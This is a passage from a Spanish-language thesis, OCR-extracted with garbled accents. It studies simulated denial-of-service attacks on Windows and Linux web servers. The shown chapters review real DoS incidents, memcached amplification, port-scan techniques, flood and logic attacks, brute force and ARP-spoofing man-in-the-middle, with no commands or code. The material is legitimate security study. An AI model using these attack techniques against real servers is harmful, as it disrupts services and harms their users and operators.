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Resumen

El presente trabajo tiene como objetivo principal el andlisis y simulacion de ataques
(DoS) de Denegacion de Servicios a Servidores Web Windows y Linux.

Para esto, se utilizé en Windows el sistema operativo Windows Server 2012 y para
Linux Ubuntu Server 18.04.

La investigacion abarca aspectos destacados sobre la aplicacion de herramientas Open
Source como son: Virtual BOX, Kali Linux para explotar las vulnerabilidades en los
servidores tanto en Windows como Linux.

Se inici con una introduccidn a las redes de datos, servidores y servicios web, en el
cual se revisan conceptos fundamentales de red, y todos aquellos aspectos involucrados
en unared e internet y del trabajo en particular.

Posteriormente se presento lo referente a ataques (DoS) de Denegacion de Servicio.
Ademas, y se realiza una breve revision de los mismos y las herramientas para realizar el
ataque.

Finalmente se mostrd la parte Analitica y Explicativa, donde se simulo ataque de
Denegacién de Servicios (DoS) a los Servidores WEB, para comprender como se
comporta un sistema atacado y como los Servicios se ven afectados, utilizando las
herramientas antes indicadas, para brindar respuestas de como contrarrestar este tipo de
ataque, con la recomendacidn de aplicativos, contrafuegos, parches los cuales evitarian la

materializacion de las amenazas detectadas.

Palabras Clave: Servidores, Redes, DoS, Atagques, Comunicaciones.



Abstract

The main objective of this research work is the analysis and simulation of a Denial-of-
Service (DoS) attack on Windows and Linux Web Servers.

For this, the Windows Server 2012 operating system was used in Windows and for
Linux Ubuntu Server 18.04.

The research covers highlights on the application of Open Source tools such as: Virtual
BOX, Kali Linux to demonstrate vulnerabilities on servers in both Windows and Linux.

It started with an introduction to data networks, servers, and web services in which
fundamental network concepts are reviewed and all those aspects involved in a network
and internet and this paper in particular.

Subsequently, the Denial-of-Service (DoS) attacks were presented, and a brief review
of them and the tools to perform the attack.

Finally, it was shown the analytical and explanatory section, where a Denial-of-
Service (DoS) attack on WEB servers was simulated, to understand how an attacked
system behaves and how the services are affected, using the tools mentioned, to provide
responses on how to counteract this type of attack, with the recommendation of
applications, firewalls, patches which would avoid the materialization of the threats

detected.

Key words: Servers, Networks, DoS, Attacks, Communications.
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Capitulo 1

1. Introduccion

1.1.Antecedentes
En el presente trabajo de titulacion, se realiza una revision a los ataques informaticos, en
especifico a los de Denegacion de Servicio (DoS) a Servidores Web sobre Windows y
Linux a fin de precautelar los activos de informacion de laempresa, y en lo posible mitigar
este tipo de amenazas y sus efectos negativos buscando soluciones para evitar esos tipos
de ataques.
Garantizar la trasparencia, fiabilidad, beneficios y no rechazo de la informacion son los
retos mas grandes en la Seguridad de la informacion para un administrador de servidores
web en las empresas. Uno de muchos procedimientos que emplean los hackers para
cambiar la seguridad de una red es el Ataque de Denegacidn de Servicios.
Las redes de datos comparten mucha informacion por lo que son vulnerables a accesos
no deseados. En este sentido, es imprescindible la localizacion de ataques de seguridad
de los servicios que permitan una eficiente administracion de la seguridad de la
informacion.
En el 2013 se produjo un ataque DoS hacia los servidores del sistema de nombres de
dominio de la organizacion Spamhaus la cual es una organizacion sin fines de lucro
dedicada a ayudar a los proveedores de correo en la filtracion de spam o correo no
deseado. Este atague provoco la ralentizacion del acceso a los servicios en Internet. El
trafico generado por los atacantes alcanzé los 300 Gigabits por segundo (Gbps) (Lee,
2013).
Otro ataque DoS mas reciente es el que sufrieron los servidores de la empresa

DigitalOcean, proveedor estadounidense de servidores virtuales privados. El ataque fue
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realizado el 24 de marzo de 2016 y este provocé que los servidores no puedan responder
las consultas Domain Name System o también conocido como DNS debido a un
incremento excesivo de las consultas a registros de un dominio (PTR) (DigitalOcean,
2016).
En la actualidad, por medio de las redes informéticas, se comparte un alto volumen de
informacion, que por lo general estan disponibles para la mayoria de personas con acceso
a internet, por lo tanto, es necesario analizar este tipo de riesgos que dia a dia se han
incrementado, a fin de evitar falencias de seguridad de los servicios y que permitan una
eficiente administracion.

1.2. Descripcion del problema
La Seguridad de la informacion en el mundo actual es indispensable y sus aplicaciones
estan practicamente en todas las actividades que realiza el ser humano, permitiendo la
agilidad de procesos que manualmente llevaria mucho mas tiempo si no fuera por la ayuda
de la tecnologia, cambiando la manera de trabajar, comunicarse, realizar tramites, e
inclusive la forma en que operan los delincuentes.
Pero a través de la seguridad de la informacion nacio6 un valor especial de esta informacion
por el cual se crearon diferentes métodos hasta la actualidad y se sigue creando nuevos
métodos para poder vulnerar esta informacion, ya sea para ser hurtada, modificada, para
beneficio de terceros.
Siempre que la informacion es privada tiene mas valor para un atacante por el hecho de
mientras mas privada sea la informacion méas valor generara al atacante de lograr
accederla, por eso es que se ha creado un sin nimero de herramientas y métodos para
poder vulnerar la seguridades de la informacion una de ellas es el ataque de Denegacion

de Servicios también conocida como DoS (Denial of Services) que tiene por objetivo
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atacar un grupo o una red de computadores causando que sus servicios sean inaccesibles
para los usuarios.

En los ultimos afios la transformacién, y la posterior novedad de la tecnologia ha
producido avances en todo el entorno a nivel mundial, es asi que la intranet y el internet
son medios indispensables para el cambio de informacion, la gran cantidad de
establecimientos publicos y privados emplean estos medios para hacer actividades como
por ejemplo: envio de correo electronico, transacciones bancarias, declaracion de
impuestos, intercambio de informacion, es decir, con el desarrollo tecnolégico aumentado
los métodos de vulnerabilidades y ataques informéticos que usan los hacker, “Persona
que se dedica a acceder ilegalmente a los sistemas informaticos, y usan su conocimiento
para demostrar una vulnerabilidad y corregirlo” (Significados, 2018), o crackers,
“Personas que se dedican encontrar vulnerabilidades en los sistemas informaticos y los
modifican o perjudican para obtener beneficios” (Significados, 2018), para realizar
intrusiones e infiltraciones a una determinada red como ya se menciona anteriormente
uno se ellos.

Como ya se menciond anteriormente el atacante que utilice DoS genera problema al
causar que los servicios sean inaccesibles por usuarios genera un gran dafio tanto al
proveedor de servicios como el usuario generando grandes inconvenientes, riesgos,
pérdidas monetarias, transacciones en ambas partes.

En el presente trabajo de investigacion se demostrara un ataque de Denegacién de
servicios DoS especificamente a servidores web mediante herramienta que permita que
los servidores queden sin acceso a los servicios provocando que la accesibilidad sea nula

hacia los servicios de los servidores web.
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El riesgo es cada vez mas peligroso ya que las organizaciones se manejan en la actualidad
la mayor parte de su informacion mediante la web por lo que es victima de cualquier
ataque de Denegacion de servicios a sus servidores DoS ya que tanto las empresas
publicas y privadas que generan pequefio, medio o gran valor estan en la lista de
ciberdelincuentes que estan dia a dia actualizandose como vulnerar las seguridades que
implementa cada empresa u organizacion.

Hay una variedad de ataques de Denegacién de servicios a nivel basico como para hacer
que un recurso de una red quede inutilizable, ataques de flujo por nivel de aplicacién que
pueden crear multiples formas para enviar grandes cantidades de peticiones a servidores
web deseados, ataques crash estos mandan paquetes de forma que se aprovechan de algin
error de los sistemas operativos generados mediante exploits.

La comunicacion es un elemento indispensable para el hombre, las redes proveen un canal
de comunicacién eficiente, donde se comparte informacién cada vez mas sensible o de
caracter mas personal, por ello, es necesario encontrar herramientas que brinden
proteccién contra riesgos como robo o suplantacion de la identidad de los usuarios, la
informacién privada puede ser violada, los cortafuegos pueden ser corrompidos, las
medidas de seguridad violadas o las redes saboteadas mediante herramientas como la de
Denegacion de servicios DoS.

La utilizacién de Denegacion de servicios es utilizada mucho por cibercriminales porque
es mucho mas barato, dificil de detectar y altamente efectivo. Los ataques de DoS son
dificiles de detectar ya que a menudo utilizan conexiones por defecto e imitan un trafico
autorizado normal, y es altamente efectivo porque los servidores objetivos confian por

error en el trafico y por lo tanto facilitan el ataque ejecutando alguna peticion del atacante.
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La necesidad de intercambiar informacion es de vital importancia, asi como el de
protegerla.

Para la proteccion de estos datos, se deben establecer mecanismos que validen la
informacion que se puede recibir y transmitir. Analizando las soluciones existentes, se
encuentra que es viable la creacion de un proceso de seguridad, el cual, tendrd como base
el grado de certeza obtenido durante la fase de clasificacion del flujo de datos de la red,
logrando una correcta distincion de un flujo representativo de ataque y de un flujo normal.
Diariamente son generados miles de datos y almacenados en dispositivos fisicos o
virtuales, haciendo de estos elementos tecnoldgicos los escenarios perfectos para
personas que lucran de la informacion obtenida ilegalmente. Dado que la informacion es
un activo muy importante y que merece extrema precaucion, pues la pérdida o
divulgacién de esta informacion puede causar pérdidas econdmicas, de imagen y afecta a

la productividad de las empresas o personas (Serra Ruiz J, 2009).

1.3. Formulacion del problema

¢Se puede controlar los ataques de denegacion de servicios a servidores WEB?

1.4.Descripcion Metodoldgica

La metodologia a utilizar en el presente trabajo de titulacion serd la investigacion
Aplicada, el cual serd aplicada para analizar el comportamiento de Denegacion de
servicios (DoS) en Servidores Web tanto en Linux como Windows, en los cuales se

determinara las vulnerabilidades existentes y posteriormente contrarrestar las mismas.
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Se trata de un tipo de investigacion centrada en encontrar mecanismos o estrategias
que permitan lograr los objetivos propuestos. Por consiguiente, el tipo de &mbito al que
se aplica es muy especifico y bien delimitado, ya que no se trata de explicar una amplia
variedad de situaciones, sino que mas bien se intenta abordar un problema especifico
planteado. (Rodriguez, 2019)

- En este tipo de investigacion el problema est4 establecido y es conocido por lo
que utiliza para dar respuestas a los problemas en especifico. (Rodriguez,
2019)

- Eneste tipo de investigacion el énfasis del estudio esta en la resolucién practica

de problemas. (Rodriguez, 2019)

1.5. Objetivos
1.5.1. Objetivo General
Simular y analizar el ataque de Denegacion de servicios (DoS) utilizando
herramientas open source sobre servidores web, determinar las vulnerabilidades

existentes y obtener un resultado en el cual ayude a contrarrestar estos ataques.

1.5.2. Obijetivos Especificos

e Determinar y analizar los diferentes ataques de denegacion de servicios.

e Simular servidores Web realizando ataques de Denegacién de servicios
(DoS), complementarlo con las leyes vigentes en el Ecuador (COIP) por
medio de politicas de firewall.

e Determinar los riesgos y vulnerabilidades que sean encontrados en este

estudio y analizar las posibles soluciones ante las amenazas a presentarse.
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1.6. Contribucion
Una sdlida propuesta que minimice los efectos del ataque de Denegacion de Servicios
(DoS) de manera puntual, dejando a un lado los tratamientos tradicionales a este
problema, pues ninguna de estas soluciones da un tratamiento efectivo a los efectos de
dicho ataque. El analisis propuesto, es relativamente manejable y ademas econdémico, asi
cualquier estudiante o futuras generaciones pueden ampliar y utilizar este estudio.
Con esto se pretende reducir las pérdidas econémicas y otras que pudieran generarse

debido a los efectos del ataque de Denegacion de servicios (DoS).

1.7. Estado del arte
- El Caso Ronnie Espafia (Ataque DoS: Denegacion de Servicio)

El ataque iniciado entre los dias 24 y 25 de diciembre de 2002, repitiéndose cada 2
dias, a veces con cuatro y cinco ataques diarios, hasta mayo de 2003, entre abril y mayo,
arremetié también contra los proveedores que dan soporte a la red de chats de IRC-
Hispano.

El autor del ataque fue Santiago Garrido o también conocido como “Ronnei” de 26
afios, utilizo el seudénimo ‘ronnei’ a su ataque, El objetivo fue “IRC-Hispano”, la mayor
red de habla hispana con 16 millones de usuarios al mes, fue una de las organizaciones
méas afectadas por este ataque, y posteriormente ataco también Wanadoo, Ono y
LleidaNet.

La motivacion del atague ronnie fue por venganza segun la guardia civil, al haber sido
expulsado del chat IRC-Hispano por conectarse a ella “a través de un ordenador V-host,
que tenia como fin dificultar su identificacion”, una conducta ilicita en IRC-Hispano.

(Acaparros, 2016)
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El ataque que utilizo fue un gusano denominado “deloder” para infectar ordenadores
vulnerables de Europa y Asia, convirtiéndolos en “zombies” desde donde realiz6 el ataque
DoS y DDoS (Ataque de Denegacion de servicios Distribuido), sobrecargando las redes
con un bombardeo con paquetes de datos hasta que consiguen dejarlas inoperativas. Una
sola maquina cliente dificilmente podria desbordar un servidor, pero si al coordinar
agresiones desde varias maquinas clientes hacia un mismo servidor, al desbordar su

capacidad de respuesta. (Acaparros, 2016)

Dimensién o amplitud del ataque: Lleg6 a afectar en algunos momentos al 30% de los
internautas espafioles, unos 3 millones de usuarios segin la Unidad de Delitos
Telematicos de la Guardia Civil LA PRIMERA SENTENCIA POR ATAQUE DE
DENEGACION DE SERVICIO EN ESPANA La Unidad de Delitos Telematicos de la
Guardia Civil, inicié una operacion que conté con la colaboracion de la empresa antivirus
Panda Software y que concluyd con la detencion de ‘Ronnie’ en agosto de 2003, EI 7
Febrero de 2006, ha sido condenado a dos afios de prision por delitos de dafios
continuados, valorados en 1.332.500 euros de responsabilidad civil, desglosados en:
474.500 € en danos a LLEIDA.NET 570.716 € en danos a WANADOO,120.000 € en
dafios a ONO, 218.000 € en dafios a IRC-HISPANO, ademés debera pagar 18 meses de
multa con una cuota diaria de 6€.

Técnica utilizada para el ataque. ;Qué es un ataque DoS? ataque de Denegacion de
Servicio. La deteccion de un ataque DoS mediante NIDS (Network Intrusion Deteccion

Systems) es mas complicada, puesto que es dificil saber el origen real del atacante.
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Descripcion del ataque: Ataques DoS Utilizar los ataques para tomar el control de N
maquinas y provocar de esta manera un ataque coordinado contra una tercera maquina.
Ronnie utilizo el gusano “es un programa de software malicioso que puede replicarse a si
mismo en ordenadores 0 a través de redes de ordenadores sin que te des cuenta de que el
equipo esta infectado.” como programa instalado en la méaquina victima, que delegan el
control de la misma al atacante, permitiendo el acceso remoto. Infectando ordenadores
vulnerables de Europa y Asia, convirtiéndolos en “zombies” (SophosLabs estima que més
del 60% del spam originado hoy en dia proviene de ordenadores zombis). UPC 5
Denegacion de servicio T La denegacion de servicio DoS (Denial of Service), se produce
cuando un determinado servicio no se encuentra disponible. En este caso se provoco que
no hubiese ancho de banda suficiente, y que no hubiese recursos en el sistema.
(Acaparros, 2016)

La ejecucion del ataque DoS se convino con un ataque DDoS para que sea un ataque
masivo contra los nodos centrales de IRC Hispano mediante paquetes ICMP (ping).
Ronnie agoto el ancho de banda del IRC, envio paquetes ICMP echo request de forma
continuada de tamafio grande (ping), IRC respondié con ICMP echo reply (pong)

Medidas de prevencion sé que tomaron en el ataque ronnie: Para prevenir este tipo de
ataque, tener el sistema operativo siempre actualizado, tener un buen el nivel de seguridad
como passwords seguras, instalando firewalls, desinstalando servicios sin utilizar, y
filtrando paquetes, que impidan IP spoofing, Ademas de planificar la deteccion,
mitigacion y el uso de empresas especializadas, servicios y herramientas disponibles para
ello. Para evitar que se repita el ataque en la empresa y acaben siendo utilizadas para este

tipo de ataques, se implemento herramientas como las que ofrece INCIBE en su Servicio
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Antibotnet o particulares OSI ofrece su Servicio Antibotnet para PC,s y moviles.

(Acaparros, 2016)

- Ataque plataforma GitHub en el afio 2018 en los Estados Unidos

GitHub y un segundo sitio web cuyo nombre no fue develado, fueron los afectados por
los ataques DoS més grandes que se registraron hasta el momento.

Con tan solo cuatro dias de diferencia, se registraron los dos ataques “de denegacion de
servicio” (DoS, por sus siglas en inglés) mas grandes de los que se haya tenido registro
hasta el momento. El primero de ellos ocurrié el miércoles 28 de febrero, cuando GitHub
quedd fuera de servicio desde las 17:21 a las 17:26 (UTC) y fuera de servicio, pero de
manera intermitente, desde las 17.26 a las 17:30 horas, explicé la empresa en
una publicacion realizada en su pagina web.

El segundo fue el pasado lunes 4 de marzo de 2018, cuando la empresa de seguridad
y monitoreo Arbor Networks afirmara que su sistema de datos de amenazas DoS y DDoS
trafico global, llamado ATLAS, registré un nuevo ataque de esta naturaleza contra el sitio
web de sus clientes, cuyo nombre no fue develado, en Estados Unidos.

En su pico maximo, el ataque a GitHub alcanzo un trafico entrante de 1.35 terabits por
segundo (Tbps), superando el anterior record de 1 Thps al que habia llegado el ataque al
proveedor de servicios de hosting francés OVH, en septiembre de 2016. Por su parte, el
segundo de los ataques registré un pico de trafico de 1.7 Thps, convirtiéndose de esta

manera en el maximo registrado hasta el momento. (Gonzalez, 2018)
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Memcrashed

A diferencia del ataque contra OVH, donde el bombardeo de trafico fue desatado por
dispositivos de Internet de las Cosas (10T) controlados por la botnet Mirai, en ninguno de
estos dos recientes ataques hubo aprovechamiento de algun dispositivo comprometido.

En los dos casos registrados, los atacantes incorporaron la ampliamente utilizada base
de datos de los servidores Memcashed para evitar estos ataques; que soportan el protocolo
UDP habilitado y que se ofrecen en Internet sin ninglin requerimiento de autenticacion en
el lugar, utilizando un método de ataque relativamente poco comuin apodado
“Memcrashed” que es un nuevo método de ataque, un ataque brutal aprovechando el
puerto 11211 de Memcached al cual se le conoce con el nombre de Memcrashed.
Peligroso donde los haya nos puede generar en segundos méas de un terabyte de tréfico.
“Memcached” es un sistema de alto rendimiento de caché de objetos opensource. Aunque
sus posibilidades son grandes, se suele utilizar para almacenar en caché los datos de
sesion del servidor web de manera que se acelera considerablemente la navegacion por el
sitio, y ahi es donde comienza el problema. (Gonzalez, 2018)

Los servidores estan disefiados para aumentar la velocidad de sitios y aplicaciones
web, aunque también pueden ser utilizados como reflectores para amplificar el trafico
hacia un servicio especifico. De hecho, segin el servicio de proteccion de DoS
Cloudflarela, la respuesta puede llegar a ser 51,200 veces mayor que la solicitud.

En el caso de GitHub, el atentado implic6 engafiar la direccion IP de los servicios y enviar
pequefias y repetidas solicitudes a un numero de servidores; los cuales respondieron
debidamente, excepto por el hecho de que provocaron respuestas inmensamente

desproporcionadas.

24



“Ocultar la direccion IP permite direccionar la respuesta de los servidores memcached
hacia otra direccion, como la que utiliza GitHub.com, y enviar més datos de los necesarios
hacia el destinatario por parte de la fuente original”, explic6 la compaiiia GitHub
mediante un post. (Gonzalez, 2018)

Las medidas de prevencidn después que el ataque DoS comenzara, GitHub se suscribio
a la ayuda que ofrece el servicio de Akamai Prolexicu, expertos en mitigacion de ataques
DosS; quienes redujeron el trafico basura redirigiéndolo a través de su red y bloqueando

las solicitudes maliciosas. Finalmente, el atentado cesd. (Gonzalez, 2018)
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2. Marco Teorico

Capitulo 2

2.1. Pasos a cumplir en la Investigacion Aplicada.

Como antes ya se menciond en la descripcién metodolégica que se utilizé la

metodologia aplicada en el presente trabajo existen ciertos pasos que se deben cumplir

los cuales estan a continuacion:

a)

b)

d)

Fases de la investigacion Aplicada.

se basa en sus resultados.

La investigacion aplicada depende de la investigacion bésica. Esto es porque

La investigacion bésica es la investigacion pura, basada en un marco teérico.

Asi mismo, la investigacion aplicada requiere obligatoriamente de un marco

tedrico, sobre el cual se basar4 para generar una solucion al problema

especifico que se quiera resolver.

solucién a los problemas.

de los conocimientos.

Por otro lado, la investigacion aplicada se centra en el analisis riesgos y

Ademas, se nutre de los avances y se caracteriza por su interés en la aplicacion
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Figura 1: Solucion Metodoldgica Aplicada.

Fuente: (Rodriguez, 2019)
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Continuando con la metodologia aplicada se procede a cumplir cada uno de los pasos
y fases que debe cumplir la misma.
2.2. Hacking
“Ethical hacking es una metodologia utilizada para simular un ataque malicioso sin causar
dafio” (Tori, 2008a).
Hacking, es una palabra que, presentada en un contexto global es un conjunto de
maniobras que se interpretan como piratear y romper la seguridad de un sistema de forma
ilegal, ademaés que la palabra hacker es traducida generalmente como pirata o delincuente
informatico. (Cruz Saavedra, 2014)
Si a “Hacking” se le afiade la palabra “Etico”, se puede definir como los profesionales de
la seguridad informatica que utilizan sus conocimientos de hacking con fines defensivos
para demostrar al usuario o potencial victima las vulnerabilidades encontradas en su red
o sistema informéatico donde el activo méas valioso es la informacion que circula y
almacena en éste, para luego de realizadas las pruebas proponer las recomendaciones
correspondientes que proporcionen un nivel de seguridad aceptable para la red y se
puedan mitigar los riesgos de ataques. (Leandres, 2019)
2.3. Modos de hacking
“La infraestructura informatica de una organizacién o empresa puede ser probada y
analizada de varias maneras” (Gaibor, 2007a).
Los modos mas comunes de hacking ético son:
e Ataque local.
e Ataques con equipo robado.
e Ataques a entradas fisicas de la organizacion.

e Ataques por medio de equipos sin autenticacion.
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2.4. Ataque local

Es la simulacion de un ataque desde el interior de la red u organizacion, el cual,

puede ser un empleado o un hacker que ha obtenido privilegios legitimos para

acceder al sistema y equipos de la red; su implementacion puede tornarse sencillas

debido al gran nimero de herramientas que se encuentran en la Internet. (Gaibor,

2007b)

2.4.1. Ataques con equipos robados
En el mundo real, a menudo computadoras portatiles son sustraidas, con
el objetivo de evaluar cémo los usuarios protegen la informacién. Por
ejemplo, si una computadora portétil robada tiene almacenadas
contrasefias o informacion critica que puede ser de fécil acceso, esto puede
ser una vulnerabilidad para la organizacién. Los atacantes podrian
conectarse remotamente (via DialUp o VPN) a los equipos de la empresa
con autenticaciones verdaderas. (Gaibor, 2007¢)
2.4.2. Ataques a entradas fisicas de la organizacién

Con estas pruebas se busca probar los controles fisicos de la organizacion,
tales como puertas, salidas, seguridades, circuito cerrado de television
(CCTV).
Para lograr este fin, el atacante debera intentar ingresar al edificio de la
organizacion; las defensas primarias en este caso es una politica de
seguridad bien implementada, guardias de seguridad, controles de acceso,
monitoreo y por supuesto, conocimiento de la seguridad. (Sanchez J. A,

2013a)
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2.4.3. Ataques por medio de equipos sin autenticacion
Esta prueba estd identificada para buscar puntos de acceso Inalambricos o
maodems; se trata de ver si los sistemas son lo suficientemente seguros y
tienen activados los debidos controles para autenticacion necesarios.
Si estos controles pueden ser pasados por alto, el hacker ético puede
comprobar hasta qué nivel de control puede obtener con ese acceso.
(Saltos, 2017a)
2.5. Ataques a redes informaticas
Es una invasion a la seguridad del sistema que se deriva de una maniobra bien
planeada y actualmente, sus técnicas de ataques son cada vez mas sofisticadas, ya
que son mas dificiles de prevenir y su capacidad de hacer dafio son ilimitadas,
debido a que atacan vulnerabilidades de disefio, operacion y configuracion de la
red. (Saltos, 2017b)
2.5.1. Ataque de escaneo de puertos

“El escaneo de puertos es una técnica que se basa en la evaluacion de
vulnerabilidades por parte de hackers o administradores para auditar las
maquinas y la red” (Osabuena, 2015a).

Existen aplicaciones que permiten verificar la seguridad de un
computador en una red, a traves del andlisis de sus puertos, localizando los
puertos abiertos o cerrados, los servicios que estan ofrecidos, identificar si
esta implementado un Firewall con el fin de tomar control remoto del pc

victima. (Osabuena, 2015b)
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2.5.2. Tipos de escaneo de puertos

Los tipos de escaneo de puertos son:

TCP Connect

Es una técnica comun gue no necesita de ningun tipo de privilegio especial y
que se puede ejecutar a través de un software de escaneo de puertos. Consiste
en usar la llamada connect () de TCP para intentar establecer una conexién con
cada uno de los puertos del equipo a escanear. Si la conexion se establece, el
puerto estd abierto; si el puerto estd cerrado, se recibe un aviso de cierre de
conexion y, en caso de no recibir respuesta, el puerto se encuentra silencioso.
(Gutierrez, 2013a)

TCP SYN

También conocido como escaneo medio abierto, es una técnica que intenta
establecer conexion mediante el envio de un flag SYN, si existe una respuesta
del Host con el paquete SYN+ACK, la conexion se interrumpira al enviar el
paquete RSP, evitando quedar registrado por parte del sistema. (Gutierrez,
2013b)

TCP FIN

Conocido como escaneo silencioso, consiste en enviar un paquete FIN al host
de destino, los estandares de TCP/IP indican que al recibir un paquete FIN en
un puerto cerrado, se responde con un paquete RST. Si se recibe un paquete
RST por respuesta, el puerto esta cerrado, y en caso de no recibir respuesta (se
ignora el paquete FIN) el puerto puede encontrarse abierto o silencioso. Este

tipo de escaneo no tiene resultados fiables. (Gutierrez, 2013c)
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e ACK Scan

Permite identificar de manera confiable, si un puerto se encuentra en estado

silencioso. Su funcionamiento se basa en el envio de paquetes ACK con

numeros de secuencia y confirmacion aleatorios. Cuando reciba el paquete, si

el puerto se encuentra abierto, responderd con un paquete RST, pues no

identificara la conexidn como suya; si el puerto esta cerrado respondera con un

paquete RST, pero si no se obtiene respuesta podemos identificar claramente

el puerto como filtrado (puerto silencioso). (Gutierrez, 2013d)

2.6. Ataque de denegacién de servicio (DoS)

El ataque de denegacidn de servicio tiene como objetivo dejar inaccesible
a un determinado recurso de un servidor. Estos ataques generalmente se
llevan a cabo mediante el uso de herramientas que envian una gran
cantidad de paquetes de forma automatica para desbordar los recursos del
servidor logrando de esta manera que el propio servicio quede inoperable.
Ademas, se suelen coordinar ataques involucrando un gran numero de
personas para que inicien este tipo de ataque simultaneamente, tratdndose

asi de un ataque de denegacion de servicio distribuido. (Catoira, 2012)

Los ataques de Denegacién de Servicio son los siguientes:
e Ataque légico o software
Consiste en enviar al equipo remoto una serie de datagramas mal construidos
para aprovechar algun error conocido en dicho sistema. Los tipos de ataques

I6gicos son Ping de la muerte, Teardrop y Land. (Saltos, 2017b)
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Ataque de inundacion (flood)
Consisten en bombardear un sistema con un flujo continuo de trafico que
intenta consumir todos los recursos y el Ancho de Banda de la red del sistema
atacado. Los tipos de ataques de inundacion mas comunes son TCP SYN,
Smurf IP, UDP Flood e ICMP Flood. (Saltos, 2017c)
Ataque de fuerza bruta
Es una técnica que proviene originalmente de la criptografia, en especial del
criptoandlisis (el arte de romper cddigos cifrados o descifrar textos). Es una
manera de resolver problemas mediante un algoritmo simple de programacion,
que se encarga de generar y de ir probando las diferentes posibilidades hasta
dar con el resultado esperado o de mejor conveniencia. (Tori, 2008b)
Las técnicas de fuerza bruta son:

e Uso de diccionarios

e Paralelizacion en Clusters

e Clusters con botnets

e Paralelizacion con GPUs.
Ataque de hombre en el medio
Consisten en realizar una técnica de ataque pasivo, denominada: ARP
Spoofing, y se lleva a cabo en redes LAN y WLAN. Al estar conectados en la
misma red, este ataque permite capturar todo el trafico dirigido de uno o varios
hosts de la red a la puerta de enlace configurada (Gateway) y viceversa, para
engafar o envenenar la caché de la tabla ARP de la victima. (Lois, 2012a)
De modo, que la direccion MAC Address (Media Access Control Address) de

la puerta de enlace de la victima no sea la verdadera, si no que sea la direccion
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MAC del atacante. Asi cuando la victima realice consultas hacia Internet que
seran requests para su gateway antes pasaran por el host del atacante, este lo
dejaré pasar al router y devolvera la respuesta al atacante de nuevo y este a la
victima. De esta manera que la victima no se dara cuenta de lo que estd

sucediendo. (Lois, 2012b)

2.7.Redes informéticas
“Una red es un sistema donde los elementos que lo componen (por lo general
ordenadores) son auténomos y estan conectados entre si, por medios fisicos y/o légicos y
que pueden comunicarse para compartir recursos, directorios e impresoras” (Velez,
2006).
“Para crear la red es necesario un hardware que una los dispositivos (tarjetas, cables) y
un software que implemente las reglas de comunicacion entre ellos (protocolos y
servicios)” (Bueno, 2012).
La instalacion de una red, supone la union de todos aquellos elementos que antes
trabajaban de manera separada. De esta forma se crea un sistema de comunicacion que
elimina los problemas de distancia y facilitan la comparticion de los elementos
disponibles en los ordenadores y servidores dentro de una red informatica. (Sanchez J.
A., 2013b)

2.8.Virtualizacion
Es una técnica empleada que implica generar que un recurso fisico como un servidor, un
sistema operativo o un dispositivo de almacenamiento, aparezca como si fueran varios
recursos l6gicos a la vez, o que varios recursos fisicos, como servidores o dispositivos de

almacenamiento, aparezcan como un Unico recurso légico. (Velazquez, 2009)
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“La virtualizacion crea una nueva plataforma informatica conformada por los recursos
virtuales que comunica las aplicaciones del negocio y las plataformas informaticas fisicas
originales” (Ulloa, 2009).

2.8.1. Tipos de virtualizacion

Existen dos tipos de virtualizacion:

e Virtualizacion completa. También llamada nativa. La capa de virtualizacion,
media entre los sistemas invitados y el anfitrion, la cual incluye cédigo que
emula el hardware subyacente para las maquinas virtuales, por lo que es posible
ejecutar cualquier sistema operativo sin modificar, siempre que soporte el
hardware subyacente. El codigo de emulacion puede provocar pérdida en el
rendimiento. (Fernandez, 2010a)

e Paravirtualizacion. Similar a la virtualizacion completa porque introduce
hipervisor como capa de virtualizacion, pero ademas de no incluir emulacion
del hardware, introduce modificaciones en los sistemas operativos invitados
que por consiguiente estan al tanto del proceso (deben poder ser modificables).
(Fernandez, 2010b)

2.8.2. Herramienta de virtualizacion VirtualBox

Este software es uno de los més utilizados cuando se comienza en el mundo de la
virtualizacion, inicialmente desarrollado para arquitecturas de x86 la empresa alemana
que lo desarroll6 se llama Innotek, que también contribuyd al desarrollo de OS/2 y el
apoyo en la virtualizacion de Linux y versiones de OS/2 de productos pertenecientes a
connectix que posteriormente fueron adquiridos por Microsoft. VirtualBox estd mas

enfocado a virtualizacién de escritorios remotos, con relacién a otros sistemas de mayor
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rendimiento como Citrix, 0 VMware, en febrero de 2008 la empresa Innotek paso a ser
propiedad de Sun Microsystems (Mejia, 2018a).
VirtualBox tiene una licencia que es un paquete completo que esta destinado hacia un uso
de “proprietary Personal Use and Evaluation License” (PUEL), que es una licencia
gratuita, educativo. Licencias de uso comercial de esta version de VirtualBox se pueden
comprar en Sun. Una segunda version llamada VirtualBox Open Source Edition (OSE)
es una version libre publicada bajo la “GNU General Public License” (GLP), (ecured,
s.f.) (Mejia, 2018b).
2.9. Servidores
“Un servidor, es un equipo informéatico que estd al servicio de otro host, personas
Ilamadas clientes y que les abastecen a éstos, todo tipo de informacién. Entre los equipos
clientes pueden ser personas u otros dispositivos méviles, impresoras” (Garcia, 2006).
2.9.1. Servidor web
Es un programa que implementa el protocolo HTTP (Hypertext Tranfer Protocol). Este
protocolo pertenece a la capa de aplicacion del modelo de interconexion de sistemas
abiertos (OSI) y esta disefiado para transferir hipertextos, paginas web y paginas HTML
(Hypertext Markup Language); generalmente funciona a través del puerto 80. (Romero,
2014)
2.9.2. Servidor web Apache
Es el servidor més utilizado, aunque ha vivido tiempos mejores. Parte de su éxito se debe
a que es multiplataforma y a su estructura modular, que permite emplear diversos
lenguajes en el lado del servidor (PHP, Python y Perl principalmente), asi como
incorporar caracteristicas como la compresién de datos, las conexiones seguras y la

utilizacion de URLs amigables. (Bruno Chavarria Neira, 2017)
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2.10. Administracion de redes
Es un conjunto de técnicas que permite mantener una red operativa, eficiente, segura,
constantemente monitoreada y con una planeacion adecuada y propiamente documentada.
Los principales objetivos de la Administracién de redes son:

e Mejorar la continuidad en las operaciones de la red con mecanismos adecuados
de control y monitoreo para la resolucion de problemas y de suministro de
recursos.

e Hacer uso eficiente de la red y utilizar de mejor manera los recursos, entre ellos
el ancho de banda, impresoras, etc.

e Reducir costos por medio del control de gastos y de mejores mecanismos de
cobro.

e Hacer la red mas segura, protegiéndola contra el acceso no autorizado,
haciendo imposible que personas ajenas puedan entender la informacion que
circulaen ella.

e Controlar cambios y actualizaciones en la red de modo que ocasionen las
menos interrupciones posibles, en el servicio a los usuarios (Aguilar, 2007).

2.10.1. Herramientas de administracion y monitoreo de redes

“Las herramientas de seguridad y monitoreo de redes se dividen en gestion de usuarios,
gestion del hardware, gestion del software y monitorizacion de la actividad de red y
seguridad” (Sanchez J. A., 2013c).

2.10.2. Monitoreo de la actividad de red y seguridad

